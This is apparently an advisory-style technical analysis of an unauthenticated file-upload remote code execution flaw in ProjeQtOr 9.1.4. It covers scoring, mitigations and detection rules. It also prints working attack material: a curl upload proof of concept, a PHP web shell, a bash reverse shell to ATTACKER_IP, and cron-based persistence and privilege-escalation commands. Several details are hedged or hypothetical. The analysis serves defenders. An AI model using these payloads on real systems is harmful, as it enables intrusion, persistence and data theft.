Comprehensive Technical Analysis of EUVD-2026-2750 (CVE-2021-47819)

ProjeQtOr Project Management 9.1.4 – Arbitrary File Upload & Remote Code Execution (RCE) Vulnerability

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-2750 (CVE-2021-47819) is a critical unauthenticated arbitrary file upload vulnerability in ProjeQtOr Project Management 9.1.4, allowing remote attackers to upload malicious PHP files and execute arbitrary system commands. The flaw resides in the profile attachment upload functionality, which fails to properly validate file extensions and content, enabling attackers to bypass security controls.

CVSS 4.0 Severity Analysis

Metric	Value	Explanation
Base Score	9.3 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV:N)	Network	Exploitable remotely over the internet.
Attack Complexity (AC:L)	Low	No complex conditions required for exploitation.
Attack Requirements (AT:N)	None	No prior access or user interaction needed.
Privileges Required (PR:N)	None	Exploitable by unauthenticated (guest) users.
User Interaction (UI:N)	None	No user interaction required.
Vulnerable Component (VC:H)	High	Direct impact on the application’s core functionality.
Integrity Impact (VI:H)	High	Attacker can modify system files and execute arbitrary code.
Availability Impact (VA:H)	High	Potential for full system compromise (e.g., ransomware, data exfiltration).
Subsequent Confidentiality (SC:N)	None	No additional confidentiality impact beyond initial breach.
Subsequent Integrity (SI:N)	None	No further integrity impact beyond initial compromise.
Subsequent Availability (SA:N)	None	No cascading availability impact beyond initial attack.

Justification for Critical Severity:

• Unauthenticated RCE is one of the most severe vulnerabilities, allowing full system compromise.
• Low attack complexity and no user interaction make it highly exploitable.
• High impact on CIA triad (Confidentiality, Integrity, Availability) due to arbitrary code execution.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Workflow

1. Reconnaissance

   • Attacker identifies a vulnerable ProjeQtOr 9.1.4 instance via:
     • Shodan (http.title:"ProjeQtOr")
     • Google Dorking (inurl:"/projeqtor/")
     • Manual discovery (e.g., corporate project management portals).

2. File Upload Exploitation

   • The attacker navigates to the profile attachment upload section (typically accessible at /projeqtor/tool/uploadAttachment.php).
   • A malicious PHP file (e.g., shell.php) is uploaded with a valid extension (.php, .php5, .phtml).
   • The application fails to:
     • Validate file content (e.g., checking for PHP tags <?php ?>).
     • Restrict file extensions (e.g., allowing .php uploads).
     • Sanitize filenames (e.g., preventing path traversal).

3. Remote Code Execution (RCE)

   • The uploaded file is stored in a predictable location (e.g., /projeqtor/files/attachments/).
   • The attacker accesses the file via:

     http://<target>/projeqtor/files/attachments/shell.php?cmd=id
     

   • Arbitrary commands are executed with the privileges of the web server (e.g., www-data, apache).

4. Post-Exploitation

   • Lateral Movement: Attacker escalates privileges (if misconfigurations exist).
   • Data Exfiltration: Steals sensitive project data, credentials, or database contents.
   • Persistence: Installs backdoors (e.g., web shells, cron jobs).
   • Ransomware Deployment: Encrypts files and demands payment.

Proof-of-Concept (PoC) Exploit

A publicly available exploit (Exploit-DB #49919) demonstrates the attack:

curl -F "upload=@shell.php" -F "MAX_FILE_SIZE=100000" -F "uploadedFile=1" \
  "http://<target>/projeqtor/tool/uploadAttachment.php?objectClass=User&objectId=1"

• shell.php (example payload):

  <?php system($_GET['cmd']); ?>
  

• Execution:

  http://<target>/projeqtor/files/attachments/shell.php?cmd=whoami
  

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3. Affected Systems & Software Versions

Vulnerable Software

Product	Vendor	Affected Version	Fixed Version
ProjeQtOr Project Management	Projeqtor	9.1.4	9.1.5+ (or latest)

Attack Surface

• Default Installations: Any ProjeQtOr 9.1.4 instance exposed to the internet.
• Common Deployment Scenarios:
  • Corporate project management portals.
  • Government and enterprise intranets (if misconfigured).
  • Cloud-hosted ProjeQtOr instances (e.g., AWS, Azure, on-premises).

Detection Methods

• Manual Testing:
  • Attempt to upload a .php file via the profile attachment feature.
  • Check if the file is accessible at /projeqtor/files/attachments/.
• Automated Scanning:
  • Nmap Script:

    nmap -p 80,443 --script http-fileupload-exploiter <target>
    

  • Burp Suite / OWASP ZAP:
    • Intercept file upload requests and modify extensions.
  • Metasploit Module:
    • exploit/multi/http/projeqtor_upload_exec (if available).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Vendor Patch

   • Upgrade to ProjeQtOr 9.1.5 or later (or the latest stable version).
   • Vendor advisory: https://www.projeqtor.org

2. Temporary Workarounds (If Patching is Delayed)

   • Disable File Uploads:
     • Restrict access to /projeqtor/tool/uploadAttachment.php via .htaccess or web server rules.
   • File Extension Whitelisting:
     • Modify uploadAttachment.php to only allow safe extensions (e.g., .pdf, .jpg, .png).
   • Web Application Firewall (WAF) Rules:
     • Block requests containing <?php, system(, exec(, or other dangerous patterns.
   • Chroot Jail / Sandboxing:
     • Run the web server in a restricted environment to limit damage.

3. Network-Level Protections

   • Restrict Access: Limit ProjeQtOr to internal networks via VPN or IP whitelisting.
   • Rate Limiting: Prevent brute-force upload attempts.

Long-Term Security Hardening

1. Secure File Upload Implementation

   • Content-Type Validation: Ensure uploaded files match their declared MIME type.
   • File Content Scanning: Use tools like ClamAV to scan for malware.
   • Randomized Filenames: Prevent path prediction (e.g., uuid4().ext).
   • Store Outside Web Root: Move uploads to a non-public directory.

2. Application Security Best Practices

   • Principle of Least Privilege: Run the web server with minimal permissions.
   • Regular Audits: Conduct penetration tests and code reviews.
   • Dependency Management: Monitor for vulnerable third-party libraries.

3. Monitoring & Incident Response

   • Log File Uploads: Track all upload attempts (successful/failed).
   • Intrusion Detection: Deploy SIEM (e.g., Splunk, ELK) to detect RCE attempts.
   • Automated Alerts: Trigger alerts for unusual file access patterns.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):
  • Unauthorized access to project data (e.g., client information, financial records) may constitute a data breach, requiring notification to authorities (e.g., ENISA, national CSIRTs) within 72 hours.
  • Fines of up to €20 million or 4% of global revenue (whichever is higher) may apply.
• NIS2 Directive (Network and Information Security):
  • Critical infrastructure operators (e.g., energy, transport, healthcare) using ProjeQtOr must report incidents to CSIRTs and implement mitigations.
• EU Cybersecurity Act:
  • Organizations must adhere to ENISA’s guidelines for vulnerability management and patching.

Threat Landscape & Attack Trends

• Ransomware & Extortion:
  • Attackers may exploit this flaw to deploy LockBit, BlackCat, or other ransomware variants.
• Supply Chain Attacks:
  • Compromised ProjeQtOr instances could serve as a foothold for lateral movement into corporate networks.
• State-Sponsored Threats:
  • APT groups (e.g., APT29, Sandworm) may leverage this vulnerability for espionage or sabotage in critical sectors.

European Response & Coordination

• ENISA (European Union Agency for Cybersecurity):
  • May issue public advisories and coordinate with CERT-EU for vulnerability disclosure.
• National CSIRTs (e.g., CERT-FR, BSI, NCSC-NL):
  • Likely to issue sector-specific alerts to government and critical infrastructure operators.
• EU Vulnerability Database (EUVD):
  • Provides a centralized reference for European organizations to track and mitigate the flaw.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code (Hypothetical Example):

  // uploadAttachment.php (simplified)
  $file = $_FILES['upload'];
  $targetDir = "files/attachments/";
  $targetFile = $targetDir . basename($file["name"]);
  
  // No file type validation
  if (move_uploaded_file($file["tmp_name"], $targetFile)) {
      echo "File uploaded successfully.";
  }
  

• Key Issues:
  1. No File Extension Check: Allows .php, .phtml, etc.
  2. No Content Inspection: Does not scan for PHP tags or malicious payloads.
  3. Predictable File Paths: Attackers can guess upload locations.

Exploitation Deep Dive

1. Bypassing Client-Side Checks
   • Attackers may intercept requests with Burp Suite to modify file extensions.
   • Example:

     Content-Disposition: form-data; name="upload"; filename="shell.jpg.php"
     

2. Alternative Payloads
   • Reverse Shell:

     <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
     

   • Web Shell (e.g., Weevely):

     weevely generate password shell.php
     

3. Post-Exploitation Techniques
   • Privilege Escalation:
     • Check for SUID binaries (find / -perm -4000 2>/dev/null).
     • Exploit kernel vulnerabilities (e.g., Dirty Pipe, CVE-2022-0847).
   • Persistence:
     • Add a cron job (echo "* * * * * root /tmp/backdoor.sh" >> /etc/crontab).
     • Modify web server configs (e.g., .htaccess).

Forensic & Detection Signatures

• Log Indicators:
  • Apache/Nginx Logs:

    "POST /projeqtor/tool/uploadAttachment.php HTTP/1.1" 200
    "GET /projeqtor/files/attachments/shell.php?cmd=id HTTP/1.1" 200
    

  • PHP Error Logs:

    PHP Warning:  system() has been disabled for security reasons in /var/www/html/projeqtor/files/attachments/shell.php
    

• YARA Rule (for Malicious PHP Files):

  rule ProjeQtOr_RCE_Payload {
      meta:
          description = "Detects ProjeQtOr RCE payloads"
          author = "Cybersecurity Analyst"
      strings:
          $php_tag = "<?php"
          $system_call = /system\(.*\)/
          $exec_call = /exec\(.*\)/
          $passthru_call = /passthru\(.*\)/
      condition:
          $php_tag and ($system_call or $exec_call or $passthru_call)
  }
  

• Snort/Suricata Rule:

  alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ProjeQtOr RCE Attempt - File Upload"; flow:to_server,established; content:"/projeqtor/tool/uploadAttachment.php"; http_uri; content:"filename="; http_client_body; content:".php"; within:10; classtype:web-application-attack; sid:1000001; rev:1;)
  

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Conclusion & Recommendations

Key Takeaways

• EUVD-2026-2750 (CVE-2021-47819) is a critical unauthenticated RCE vulnerability in ProjeQtOr 9.1.4.
• Exploitation is trivial and requires no authentication, making it a prime target for attackers.
• Immediate patching is mandatory to prevent data breaches, ransomware, and lateral movement.

Action Plan for Organizations

Priority	Action	Responsible Party
Critical	Apply ProjeQtOr 9.1.5+ patch	IT/Security Team
High	Disable file uploads if patching is delayed	DevOps/Security
High	Deploy WAF rules to block PHP uploads	SOC Team
Medium	Conduct a forensic analysis for signs of compromise	DFIR Team
Medium	Review GDPR/NIS2 compliance for incident reporting	Legal/Compliance

Further Research

• Exploit Development: Test for bypass techniques (e.g., double extensions, null bytes).
• Threat Hunting: Search for historical exploitation in logs.
• Vendor Coordination: Report any zero-day variants to Projeqtor and CERT-EU.

Final Note: Given the critical severity and ease of exploitation, organizations using ProjeQtOr must treat this as a top-priority security incident and remediate immediately.

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References:

• NVD Entry for CVE-2021-47819
• Exploit-DB #49919
• ProjeQtOr Security Advisory
• ENISA Vulnerability Disclosure Guidelines